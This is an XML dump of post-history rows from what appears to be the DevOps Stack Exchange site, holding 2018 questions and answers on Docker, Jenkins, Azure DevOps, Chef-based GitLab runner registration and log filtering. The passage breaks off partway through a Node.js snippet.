  <row Id="15650" PostHistoryTypeId="5" PostId="4959" RevisionGUID="c630f033-7af1-4225-b039-f199b6c9e91f" CreationDate="2018-09-13T08:24:11.033" UserId="707" Comment="added 198 characters in body" Text="Hi and welcome to DevOps SE!&#xD;&#xA;&#xD;&#xA;To enable Role-Based Access Control ([RBAC][1]) for Docker Engine, you need the UCP (Universal Control Pane) available through Docker EE. &#xD;&#xA;&#xD;&#xA;https://success.docker.com/article/rbac-example-overview&#xD;&#xA;&#xD;&#xA;A free alternative could be also the Kubernetes module ***[rbac.authorization.k8s.io][2]***.&#xD;&#xA;&#xD;&#xA;Side note: To control docker commands available to a user, use ***AuthZPlugin*** for the Docker engine (there are open source implementations of this [API][3]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Role-based_access_control&#xD;&#xA;  [2]: https://kubernetes.io/docs/reference/access-authn-authz/rbac/&#xD;&#xA;  [3]: https://docs.docker.com/engine/extend/plugins_authorization/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15651" PostHistoryTypeId="6" PostId="4955" RevisionGUID="cc229aa6-a78c-460f-b33e-d628a8ee5fc2" CreationDate="2018-09-13T08:32:12.167" UserId="707" Comment="edited tags" Text="&lt;docker&gt;&lt;virtualization&gt;&lt;role-based-access-control&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15652" PostHistoryTypeId="2" PostId="4961" RevisionGUID="9380fba6-b77b-4337-9c38-beb99e990940" CreationDate="2018-09-13T10:00:47.717" UserId="9049" Text="First things first: let us make clear what we are talking about. We are dwelling on the action of **storing an artifact in an artifact repository**.&#xD;&#xA;&#xD;&#xA;I personnaly would rather avoid using _deploy_, because:&#xD;&#xA;&#xD;&#xA; * **publish** implies that you make an artifact available for others to consume. The term seems to do the job. It weakens a bit when you push the artifact to a _private_ repository. You would then do a _private publication_. It's a lesser evil. It still makes sens.&#xD;&#xA; * **deploy** is definitely not appropriate. Pushing a single artifact in a single repository is in no way a _deployement_. Deploy implies some sort of spreading, distributing an artifact on several environments or machines. What we are dealing with, here, is a pre-requisite to deploying; not deploying itself.&#xD;&#xA;&#xD;&#xA;**[Success?] Story**&#xD;&#xA;&#xD;&#xA;For what it's worth, last time I was faced with naming the job that pushes the artifacts to the artifact repository, I was working in a Kanban context. The team came to an agreement to call the job&#xD;&#xA;&#xD;&#xA;    version&#xD;&#xA;&#xD;&#xA;because every package that was built following a merge request was a potential release candidate, therefore it was _versioned_ then pushed.&#xD;&#xA;&#xD;&#xA;**After Thoughts**&#xD;&#xA;&#xD;&#xA;As of today, I would use the term **publish** (possibly privately) laking of a better term.&#xD;&#xA;&#xD;&#xA;Still I don't find this satisfactory. Please feel free to leave your thoughts in the comments below!" ContentLicense="CC BY-SA 4.0" />
  <row Id="15656" PostHistoryTypeId="5" PostId="4959" RevisionGUID="a9d3acbb-78ad-47db-9ec5-56d015b919e3" CreationDate="2018-09-13T11:09:30.383" UserId="707" Comment="added 1 character in body" Text="Hi and welcome to DevOps SE!&#xD;&#xA;&#xD;&#xA;To enable Role-Based Access Control ([RBAC][1]) for Docker Engine, you need the UCP (Universal Control Pane) available through Docker EE. &#xD;&#xA;&#xD;&#xA;https://success.docker.com/article/rbac-example-overview&#xD;&#xA;&#xD;&#xA;A free alternative could be also the Kubernetes module ***[rbac.authorization.k8s.io][2]***.&#xD;&#xA;&#xD;&#xA;Side note: To control docker commands available to a user, use ***AuthZPlugin*** for the Docker engine (there are open source implementations of this [API][3]). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Role-based_access_control&#xD;&#xA;  [2]: https://kubernetes.io/docs/reference/access-authn-authz/rbac/&#xD;&#xA;  [3]: https://docs.docker.com/engine/extend/plugins_authorization/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15657" PostHistoryTypeId="2" PostId="4963" RevisionGUID="e61f6393-7c71-4590-a85f-9f1781a9c7cf" CreationDate="2018-09-13T11:12:28.913" UserId="5605" Text="I have recently installed the Jenkins on Windows 10 Machine (Jenkins as Service) and configured one Maven Project (Selenium project). If i build the same, all my testcase executing in Chrome headless mode.&#xD;&#xA;&#xD;&#xA;Before that i was using Jenkins.war file and had the same project configuration. that time it was executing the test as expected (non headless mode).&#xD;&#xA;&#xD;&#xA;Any idea why this is happening ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15658" PostHistoryTypeId="1" PostId="4963" RevisionGUID="e61f6393-7c71-4590-a85f-9f1781a9c7cf" CreationDate="2018-09-13T11:12:28.913" UserId="5605" Text="Why Jenkins executing test in headless mode?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15659" PostHistoryTypeId="3" PostId="4963" RevisionGUID="e61f6393-7c71-4590-a85f-9f1781a9c7cf" CreationDate="2018-09-13T11:12:28.913" UserId="5605" Text="&lt;jenkins&gt;&lt;java&gt;&lt;selenium&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15660" PostHistoryTypeId="5" PostId="433" RevisionGUID="3901e996-067d-4cd8-93a5-1345ff6392d6" CreationDate="2018-09-13T12:21:17.923" UserId="707" Comment="deleted 2 characters in body; edited title" Text="&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    REPOSITORY          TAG       IMAGE ID       CREATED             SIZE&#xD;&#xA;    an-image            1         X              26 seconds ago      279 MB&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;when the docker image will be run, the following message is shown:&#xD;&#xA;&#xD;&#xA;    No java installations was detected.&#xD;&#xA;    Please go to http://www.java.com/getjava/ and download&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When Oracle JDK is deployed the docker image size is more than doubled!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    REPOSITORY          TAG       IMAGE ID       CREATED             SIZE&#xD;&#xA;    an-image            2         X              26 seconds ago      666 MB&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;When &quot;Is there no Oracle JDK for docker&quot; is googled only some links to docker image that contain docker are returned. When Oracle JDK is deployed in the docker image the size is more than doubled. I want to keep the docker images as small as possible, but the Oracle JDK seems to be larger then the image itself!&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;Is there no Oracle JDK for docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15661" PostHistoryTypeId="4" PostId="433" RevisionGUID="3901e996-067d-4cd8-93a5-1345ff6392d6" CreationDate="2018-09-13T12:21:17.923" UserId="707" Comment="deleted 2 characters in body; edited title" Text="Is there no official Docker image for Oracle distribution?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15662" PostHistoryTypeId="8" PostId="433" RevisionGUID="e52ff4c0-406a-4bb6-94bf-ab71b19f790e" CreationDate="2018-09-13T12:29:27.417" UserId="13" Comment="Rollback to [669e5269-5275-4d79-a627-0fa8421fdf76]" Text="&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    REPOSITORY          TAG       IMAGE ID       CREATED             SIZE&#xD;&#xA;    an-image            1         X              26 seconds ago      279 MB&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;when the docker image will be run, the following message is shown:&#xD;&#xA;&#xD;&#xA;    No java installations was detected.&#xD;&#xA;    Please go to http://www.java.com/getjava/ and download&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When Oracle JDK is deployed the docker image size is more than doubled!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    REPOSITORY          TAG       IMAGE ID       CREATED             SIZE&#xD;&#xA;    an-image            2         X              26 seconds ago      666 MB&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;When &quot;Is there no Oracle JDK for docker&quot; is googled only some links to docker image that contain docker are returned. When Oracle JDK is deployed in the docker image the size is more than doubled. I want to keep the docker images as small as possible, but the Oracle JDK seems to be larger then the image itself!&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;Is there no Oracle JDK for docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15663" PostHistoryTypeId="7" PostId="433" RevisionGUID="e52ff4c0-406a-4bb6-94bf-ab71b19f790e" CreationDate="2018-09-13T12:29:27.417" UserId="13" Comment="Rollback to [669e5269-5275-4d79-a627-0fa8421fdf76]" Text="Is there no Oracle JDK for docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15664" PostHistoryTypeId="5" PostId="3924" RevisionGUID="d210b173-7d7d-44eb-85db-685450bdecb0" CreationDate="2018-09-13T12:36:14.923" UserId="9695" Comment="Major changes to reflect name change from VSTS to Azure DevOps and also new URLs" Text="Azure DevOps is the home for your project data in the cloud. Regardless of which platform or OS you target, get up and running in minutes on our cloud infrastructure without having to install or configure a single server. Set up an environment that includes everything from hosted Git repos and project tracking tools, to continuous integration and an IDE, all packaged up in a monthly per-user plan. Connect to your project in the cloud using your favorite development tool, such as Visual Studio, Eclipse or Xcode. Azure DevOps also hosts several cloud-only services for developers and development teams like cloud build, cloud load testing, and Application Insights. [Find out more here][1].&#xD;&#xA;&#xD;&#xA;*[Visual Studio Team Services (VSTS) is now Azure DevOps Services][18]*&#xD;&#xA;&#xD;&#xA;Features&#xD;&#xA;&#xD;&#xA;*	[Boards][2] (Agile Tools) – Kanban boards, Backlogs, Scrum boards&#xD;&#xA;*	[Analytics][3] (Reporting) – Dashboards, widgets, Power BI&#xD;&#xA;*	Repos (Source control)&#xD;&#xA; *	[Git][4] – free private repos, social code reviews and more&#xD;&#xA; *	[TFVC][5] – centralized version control system with free private repos&#xD;&#xA;*       Pipelines&#xD;&#xA; *	[Build Pipelines][6] (Continuous Integration) – link builds to test results, work items, code and releases. Hosted build agents, multi-platform for Windows, Mac and Linux, automated builds and diagnostics.&#xD;&#xA; *	[Release Pipelines][8] (Release Management) – automate deployments, manual/automated gates for approval workflows, audit trails, extend and customize workflows with Jenkins, Docker, Redgate and more.&#xD;&#xA;*	[Azure Test Plans][7] – load testing, continuous testing, manual testing, exploratory testing, user acceptance testing, Unit testing and IDE.&#xD;&#xA;*	[Marketplace][8] – extensions: pipeline tasks, dashboard widgets.&#xD;&#xA;*	[Tools for Java Teams][9]&#xD;&#xA;*	[Azure Artifacts][10] (Package Management)&#xD;&#xA;*	[Enterprise ready][11]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Pricing&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;Azure DevOps is completely free for open-source projects, and free with (new) generous limits for individuals and teams with up to 5 users. You’ll get access to basic features like unlimited Git repos, Agile tools, exploratory testing, release management and more. You can also add unlimited users for free who are able to view team dashboards, view backlog &amp; portfolio planning, and create &amp; edit work items.&#xD;&#xA;&#xD;&#xA;For growing teams, there are additional non-commitment monthly user plans available for additional team members. [Find out more here][12].&#xD;&#xA;&#xD;&#xA;Updates&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;New features and updates are introduced to Azure DevOps every 3 weeks. Users will receive new features before they are rolled up into an update to the on-premises Team Foundation Server product. The release notes for each deployment is available by RSS feed and is summarized into a [Release Archive available here][13].&#xD;&#xA;&#xD;&#xA;Tag usage&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;It is recommended to use the [tag:azure-devops] tag along with the specific product area tags:&#xD;&#xA;&#xD;&#xA;*	[tag:azure-artifacts]&#xD;&#xA;*	[tag:azure-devops-extensions]&#xD;&#xA;*	[tag:azure-devops-rest-api]&#xD;&#xA;*	[tag:azure-devops-self-hosted-agent]&#xD;&#xA;*	[tag:azure-pipelines]&#xD;&#xA;*	[tag:azure-pipelines-build-task]&#xD;&#xA;*	[tag:azure-pipelines-release-pipeline]&#xD;&#xA;*	[tag:azure-pipelines-release-task]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Other resources&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;We have channels that you can also voice your concerns, FAQs, documentation and submit an idea:&#xD;&#xA;&#xD;&#xA; * [See what Azure DevOps can do for you][14] – get started with Azure DevOps&#xD;&#xA; * [Documentation][15]&#xD;&#xA; * [Product updates][13] – view the latest updates to Azure DevOps&#xD;&#xA; * [Submit an idea][16] – help us improve our products (still using VSTS &#xD;&#xA; * [Report a bug][17] – having an issue? Let us know&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-us/services/devops/&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/boards/index&#xD;&#xA;  [3]: https://docs.microsoft.com/en-us/azure/devops/report/analytics&#xD;&#xA;  [4]: https://docs.microsoft.com/en-us/azure/devops/repos/git&#xD;&#xA;  [5]: https://docs.microsoft.com/en-us/azure/devops/tfvc&#xD;&#xA;  [6]: https://azure.microsoft.com/en-us/services/devops/pipelines/&#xD;&#xA;  [7]: https://azure.microsoft.com/en-us/services/devops/test-plans/&#xD;&#xA;  [8]: https://docs.microsoft.com/en-us/azure/devops/pipelines/release/index&#xD;&#xA;  [9]: https://azure.microsoft.com/en-us/services/devops/java/&#xD;&#xA;  [10]: https://azure.microsoft.com/en-us/services/devops/artifacts/&#xD;&#xA;  [11]: https://azure.microsoft.com/en-us/services/devops/enterprise-ready/&#xD;&#xA;  [12]: https://azure.microsoft.com/en-us/services/devops/&#xD;&#xA;  [13]: https://docs.microsoft.com/en-us/azure/devops/release-notes/&#xD;&#xA;  [14]: https://www.youtube.com/watch?v=fWSi9s5eIDE?showinfo=0&amp;autoplay=1&#xD;&#xA;  [15]: https://visualstudio.com/docs/overview&#xD;&#xA;  [16]: https://visualstudio.uservoice.com/forums/330519-team-services&#xD;&#xA;  [17]: https://developercommunity.visualstudio.com/spaces/21/index.html&#xD;&#xA;  [18]: https://docs.microsoft.com/en-us/azure/devops/user-guide/what-happened-vsts" ContentLicense="CC BY-SA 4.0" />
  <row Id="15665" PostHistoryTypeId="24" PostId="3924" RevisionGUID="d210b173-7d7d-44eb-85db-685450bdecb0" CreationDate="2018-09-13T12:36:14.923" Comment="Proposed by 9695 approved by 13 edit id of 783" ContentLicense="CC BY-SA 4.0" />
  <row Id="15666" PostHistoryTypeId="5" PostId="3925" RevisionGUID="f2675e05-6a0b-4447-885a-9e9ec54f5bc1" CreationDate="2018-09-13T12:36:18.050" UserId="9695" Comment="Major changes to reflect name change from VSTS to Azure DevOps and also new URLs" Text="Azure DevOps provides unlimited private Git hosting, cloud build for continuous integration, agile planning (issues, Kanban, Scrum, dashboards) along with release management for continuous delivery to the cloud and on-premises. Azure DevOps has a powerful set of collaboration tools to support your DevOps team on every platform with IDE support in Eclipse, IntelliJ, XCode and Visual Studio." ContentLicense="CC BY-SA 4.0" />
  <row Id="15667" PostHistoryTypeId="24" PostId="3925" RevisionGUID="f2675e05-6a0b-4447-885a-9e9ec54f5bc1" CreationDate="2018-09-13T12:36:18.050" Comment="Proposed by 9695 approved by 13 edit id of 784" ContentLicense="CC BY-SA 4.0" />
  <row Id="15668" PostHistoryTypeId="2" PostId="4964" RevisionGUID="9047232a-7cff-43ea-b220-121e73dd7d6a" CreationDate="2018-09-13T12:59:57.927" UserId="9760" Text="We would like to deploy only the artefacts that are built from our dev branch to the dev environment.&#xD;&#xA;&#xD;&#xA;and master branch to be deployed to staging(stage) and production(PRD) environments&#xD;&#xA;&#xD;&#xA;As a tool, we are using VSTS&#xD;&#xA;&#xD;&#xA;https://imgur.com/QmBsyM5&#xD;&#xA;&#xD;&#xA;How should we coordinate this process if we can not implement artefact filters in VSTS?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am considering to create a separate container registry for master builds&#xD;&#xA;&#xD;&#xA;https://imgur.com/a/eSF4EHx&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Wanted to learn the best practice before i implement this" ContentLicense="CC BY-SA 4.0" />
  <row Id="15669" PostHistoryTypeId="1" PostId="4964" RevisionGUID="9047232a-7cff-43ea-b220-121e73dd7d6a" CreationDate="2018-09-13T12:59:57.927" UserId="9760" Text="How to setup artifact filters to differentiate for deployment" ContentLicense="CC BY-SA 4.0" />
  <row Id="15670" PostHistoryTypeId="3" PostId="4964" RevisionGUID="9047232a-7cff-43ea-b220-121e73dd7d6a" CreationDate="2018-09-13T12:59:57.927" UserId="9760" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15671" PostHistoryTypeId="5" PostId="433" RevisionGUID="322932c0-8a94-4ecf-b4f3-a555e1d45a53" CreationDate="2018-09-13T13:42:57.230" UserId="210" Comment="deleted 2 characters in body; edited tags" Text="&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    REPOSITORY          TAG       IMAGE ID       CREATED             SIZE&#xD;&#xA;    an-image            1         X              26 seconds ago      279 MB&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;when the docker image will be run, the following message is shown:&#xD;&#xA;&#xD;&#xA;    No java installations was detected.&#xD;&#xA;    Please go to http://www.java.com/getjava/ and download&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When Oracle JDK is deployed the docker image size is more than doubled!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    REPOSITORY          TAG       IMAGE ID       CREATED             SIZE&#xD;&#xA;    an-image            2         X              26 seconds ago      666 MB&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;When &quot;Is there no Oracle JDK for docker&quot; is googled only some links to docker image that contain docker are returned. When Oracle JDK is deployed in the docker image the size is more than doubled. I want to keep the docker images as small as possible, but the Oracle JDK seems to be larger than the image itself!&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;Is there no Oracle JDK for docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15672" PostHistoryTypeId="6" PostId="433" RevisionGUID="322932c0-8a94-4ecf-b4f3-a555e1d45a53" CreationDate="2018-09-13T13:42:57.230" UserId="210" Comment="deleted 2 characters in body; edited tags" Text="&lt;docker&gt;&lt;oracle-jdk&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15673" PostHistoryTypeId="50" PostId="4306" RevisionGUID="55fab314-ffc6-4907-b88c-877fc70b0fd2" CreationDate="2018-09-13T18:00:22.483" UserId="-1" />
  <row Id="15674" PostHistoryTypeId="50" PostId="3999" RevisionGUID="a0be5249-56c7-4196-a411-e0106b83ca52" CreationDate="2018-09-13T23:00:13.283" UserId="-1" />
  <row Id="15675" PostHistoryTypeId="2" PostId="4965" RevisionGUID="15d666f4-4ea0-4a3d-b46c-975a8c01b7c5" CreationDate="2018-09-13T23:17:28.057" UserId="9769" Text="If you want to VPN for a jenkins task you would want to use the OpenConnect plugin as you mentioned.&#xD;&#xA;&#xD;&#xA;Here are the steps to do that:&#xD;&#xA;&#xD;&#xA;On linux (debian based)&#xD;&#xA;&#xD;&#xA;    sudo apt-get install openconnect&#xD;&#xA;&#xD;&#xA;Add the following lines to the bottom of /etc/sudoers (ubuntu configuration)&#xD;&#xA;&#xD;&#xA;    jenkins ALL=NOPASSWD:/usr/sbin/openconnect*&#xD;&#xA;    jenkins ALL=NOPASSWD:/bin/kill*&#xD;&#xA;The you will get an option in the Jenkins run task called:&#xD;&#xA;&#xD;&#xA;    Connect to Cisco AnyConnect VPN&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Can also be found here:&#xD;&#xA;https://stackoverflow.com/questions/35151072/deploy-with-jenkins-to-vpn/43357784#43357784" ContentLicense="CC BY-SA 4.0" />
  <row Id="15676" PostHistoryTypeId="2" PostId="4966" RevisionGUID="e329d889-10c4-4252-ac9a-92dd382191af" CreationDate="2018-09-13T23:40:35.463" UserId="7837" Text="when tailing a log file, we might use:&#xD;&#xA;&#xD;&#xA;    tail -f foo.log | grep bar&#xD;&#xA;&#xD;&#xA;if we want to change the grep argument, we have to ctrl-c and then change the argument and then restart the command.&#xD;&#xA;&#xD;&#xA;my question is - is there a way to dynamically change what we are grepping for without having to kill the tail/grep commands?&#xD;&#xA;&#xD;&#xA;Also looking for a way to do this with `less` instead of `tail` if possible." ContentLicense="CC BY-SA 4.0" />
  <row Id="15677" PostHistoryTypeId="1" PostId="4966" RevisionGUID="e329d889-10c4-4252-ac9a-92dd382191af" CreationDate="2018-09-13T23:40:35.463" UserId="7837" Text="Dynamically grep with less/tail" ContentLicense="CC BY-SA 4.0" />
  <row Id="15678" PostHistoryTypeId="3" PostId="4966" RevisionGUID="e329d889-10c4-4252-ac9a-92dd382191af" CreationDate="2018-09-13T23:40:35.463" UserId="7837" Text="&lt;logging&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15679" PostHistoryTypeId="2" PostId="4967" RevisionGUID="ec4a6f61-9b2f-4dc0-9b62-0fffa4540111" CreationDate="2018-09-14T01:48:08.587" UserId="9771" Text="We would like to automate installation of gitlab runner using chef.  we are  successful with it. Now, the Issue is regarding registering gitlab runner with chef resource.&#xD;&#xA;we have gone through chef resource. and official cookbook https://gitlab.com/chef-platform/gitlab-ci-runner but looks a bit complicated for us. we wonder if we have any pre-built chef resources to register gitlab runner. if yes, can we know how we can register with a example resource.&#xD;&#xA;Additionally, I have tried looking at resource https://github.com/TYPO3-cookbooks/site-gitlabcirunnertypo3org/blob/master/recipes/default.rb  &#xD;&#xA;  &#xD;&#xA;    name = &quot;#{node['fqdn']}-docker&quot;&#xD;&#xA;      gitlab_ci_runner name do&#xD;&#xA;          options(&#xD;&#xA;            registration_token: registration_token,&#xD;&#xA;            url: node['site-gitlabcirunnertypo3org']['gitlab_url'],&#xD;&#xA;            executor: 'docker',&#xD;&#xA;            :'docker-image' =&gt; 'docker:1',&#xD;&#xA;            :'tag-list' =&gt; ['docker']&#xD;&#xA;          )&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;But I dont understand how it is registering the runner. Thanks for help!" ContentLicense="CC BY-SA 4.0" />
  <row Id="15680" PostHistoryTypeId="1" PostId="4967" RevisionGUID="ec4a6f61-9b2f-4dc0-9b62-0fffa4540111" CreationDate="2018-09-14T01:48:08.587" UserId="9771" Text="Chef resource to register gitlab runner automatically" ContentLicense="CC BY-SA 4.0" />
  <row Id="15681" PostHistoryTypeId="3" PostId="4967" RevisionGUID="ec4a6f61-9b2f-4dc0-9b62-0fffa4540111" CreationDate="2018-09-14T01:48:08.587" UserId="9771" Text="&lt;chef&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15682" PostHistoryTypeId="2" PostId="4968" RevisionGUID="e4caf435-af86-4c8f-a7b8-bf59301989b2" CreationDate="2018-09-14T02:14:15.030" UserId="9772" Text="I am starting to use Continuous Integration on my microservices solution, and I am referencing this [post][1] for versioning approach. &#xD;&#xA;&#xD;&#xA;But, let's say I make some change in one of the microservice and commit that change, but all the others are exactly the same. How the process would know that those microservices (docker images) weren't changed so don't need to increase the build number? I feel like I would end-up with many docker images with different build numbers but same content.&#xD;&#xA;&#xD;&#xA;Am I misunderstanding the concept? Sorry, this whole microservices and docker thing are pretty new to me.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/3342/9772" ContentLicense="CC BY-SA 4.0" />
  <row Id="15683" PostHistoryTypeId="1" PostId="4968" RevisionGUID="e4caf435-af86-4c8f-a7b8-bf59301989b2" CreationDate="2018-09-14T02:14:15.030" UserId="9772" Text="Automated tag versioning on unchanged docker images" ContentLicense="CC BY-SA 4.0" />
  <row Id="15684" PostHistoryTypeId="3" PostId="4968" RevisionGUID="e4caf435-af86-4c8f-a7b8-bf59301989b2" CreationDate="2018-09-14T02:14:15.030" UserId="9772" Text="&lt;docker&gt;&lt;containers&gt;&lt;microservices&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15685" PostHistoryTypeId="2" PostId="4969" RevisionGUID="ae8db70f-70f3-40f6-b8a7-68406efaccd8" CreationDate="2018-09-14T07:35:57.743" UserId="13" Text="Your second link just use the official cookbook, this official cookbook still use the LWRP syntax so you need to check in the provider directory for the [resource action code](https://gitlab.com/chef-platform/gitlab-ci-runner/blob/master/providers/default.rb) which for register is basically just two execute commands (extract from the file linked above):&#xD;&#xA;&#xD;&#xA;    converge_by(&quot;Register runner #{new_resource.description}&quot;) do&#xD;&#xA;      execute &quot;#{env} gitlab-runner register --non-interactive #{options}&quot;&#xD;&#xA;      # giving time to gitlab-ci to manage the request&#xD;&#xA;      execute &quot;sleep #{new_resource.sleep}&quot;&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;So mostly your exemple ends up calling the `gitlab-runner register` command with the options defined in the options hash (with a little transformation of the hash into command parameters)&#xD;&#xA;&#xD;&#xA;There's no 'core' chef resource to register gitlab runners out of using an `execute` resource to run the command.&#xD;&#xA;&#xD;&#xA;A basic exemple of this resource is present in the cookbook [Readme](https://gitlab.com/chef-platform/gitlab-ci-runner/tree/master#default-1):&#xD;&#xA;&#xD;&#xA;    gitlab_ci_runner 'my runner' do&#xD;&#xA;      options({&#xD;&#xA;        registration_token: '1234567890',&#xD;&#xA;        url: 'http://gitlab-ci.myinstance'&#xD;&#xA;      })&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15688" PostHistoryTypeId="50" PostId="4514" RevisionGUID="399174f0-36a7-4e37-abe9-00b6ae8e63c6" CreationDate="2018-09-14T15:00:14.770" UserId="-1" />
  <row Id="15701" PostHistoryTypeId="2" PostId="4975" RevisionGUID="3e9cbce4-5adf-4ae3-b97a-48ec0cb38b88" CreationDate="2018-09-14T18:59:32.767" UserId="9790" Text="I think your issue is rooted in the **server** variable not being reusable outside the pre-build stage block.&#xD;&#xA;&#xD;&#xA;In Jenkins declarative, you can define variables like that using the `script { ... }` block, but once you leave the stage those variables are inaccessible to other to stages.&#xD;&#xA;&#xD;&#xA;With the previous suggestions, I'd recommend this:&#xD;&#xA;&#xD;&#xA;House the artifactory deploy code to a shared library.&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&lt;i&gt;gradle_artifactory.groovy&lt;/i&gt;&#xD;&#xA;&#xD;&#xA;    def call (Map parameters = [:]) {  //optional parameters mapping&#xD;&#xA;                  &#xD;&#xA;        def server = Artifactory.server 'LocalJfrog'&#xD;&#xA;        def rtGradle = Artifactory.newGradleBuild()&#xD;&#xA;        rtGradle.resolver server: server, repo: 'gradle-dev-local'&#xD;&#xA;        rtGradle.deployer server: server, repo: 'gradle-release-local'&#xD;&#xA;        rtGradle.useWrapper = true&#xD;&#xA;        def buildInfo = rtGradle.run rootDir: &quot;projectDir/&quot;, buildFile: &#xD;&#xA;            'build.gradle', tasks: 'clean artifactoryPublish'&#xD;&#xA;&#xD;&#xA;    }&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;Then to keep your declarative pipelines `D.R.Y`&#xD;&#xA;&#xD;&#xA;    @Library('my-shared-lib') &#xD;&#xA;    ...&#xD;&#xA;    stage('Artifactory Upload') {&#xD;&#xA;        when { &lt;some expression with sonarqube/checkmarx&gt; }&#xD;&#xA;        steps {&#xD;&#xA;            script {&#xD;&#xA;                gradle_artifactory()&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;         &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;refs:&#xD;&#xA;&#xD;&#xA;https://jenkins.io/doc/book/pipeline/syntax/#when&#xD;&#xA;&#xD;&#xA;https://jenkins.io/doc/book/pipeline/shared-libraries/&#xD;&#xA;    " ContentLicense="CC BY-SA 4.0" />
  <row Id="15702" PostHistoryTypeId="2" PostId="4976" RevisionGUID="deff9e8b-a2dc-479e-ac1f-3604f3b0e8d2" CreationDate="2018-09-14T21:48:14.687" UserId="7837" Text="I implemented this in node.js - I don't know of a unix utility that can dynamically change grep. Here is how it works:&#xD;&#xA;&#xD;&#xA;*before dygrep:*&#xD;&#xA;&#xD;&#xA;    many-child-procs 2&gt; logfile.log                  # in terminal 1&#xD;&#xA;    tail -f logfile.log | grep &lt;expression&gt;          # in terminal 2&#xD;&#xA;&#xD;&#xA;*after dygrep:*&#xD;&#xA;&#xD;&#xA;    many-child-procs | dygrep                    # in terminal 1&#xD;&#xA;&#xD;&#xA;then you connect to dygrep with a tcp-client and control which expressions are filtered on.&#xD;&#xA;&#xD;&#xA;The following node.js process reads from stdin, and uses a tcp connection to listen for expressions to filter on. For each line of stdin, it only forwards that to stdout if it matches one of the current regular expressions stored in memory.&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env node&#xD;&#xA;    'use strict';&#xD;&#xA;    &#xD;&#xA;    import * as readline from 'readline';&#xD;&#xA;    import * as net from 'net';&#xD;&#xA;    import chalk from 'chalk';&#xD;&#xA;    import {createParser} from &quot;./json-parser&quot;;&#xD;&#xA;    import log from './logger';&#xD;&#xA;    &#xD;&#xA;    let port = 4900;&#xD;&#xA;    &#xD;&#xA;       &#xD;&#xA;    const rl = readline.createInterface({&#xD;&#xA;      input: process.stdin.resume()&#xD;&#xA;    });&#xD;&#xA;    &#xD;&#xA;    const regex = new Map&lt;string, RegExp&gt;();&#xD;&#xA;    &#xD;&#xA;    rl.on('line', l =&gt; {&#xD;&#xA;    &#xD;&#xA;      if (regex.size &lt; 1) {&#xD;&#xA;        process.stdout.write(l + '\n');&#xD;&#xA;        return;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      for (let [k, v] of regex) {&#xD;&#xA;        if (v.test(l)) {&#xD;&#xA;          process.stdout.write(chalk.magenta(' (filtered) ') + l + '\n');&#xD;&#xA;          break;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;    });&#xD;&#xA;    &#xD;&#xA;    interface IncomingTCPMessage {&#xD;&#xA;      command: {&#xD;&#xA;        add: string,&#xD;&#xA;        remove: string,&#xD;&#xA;        list: boolean,&#xD;&#xA;        removeall: 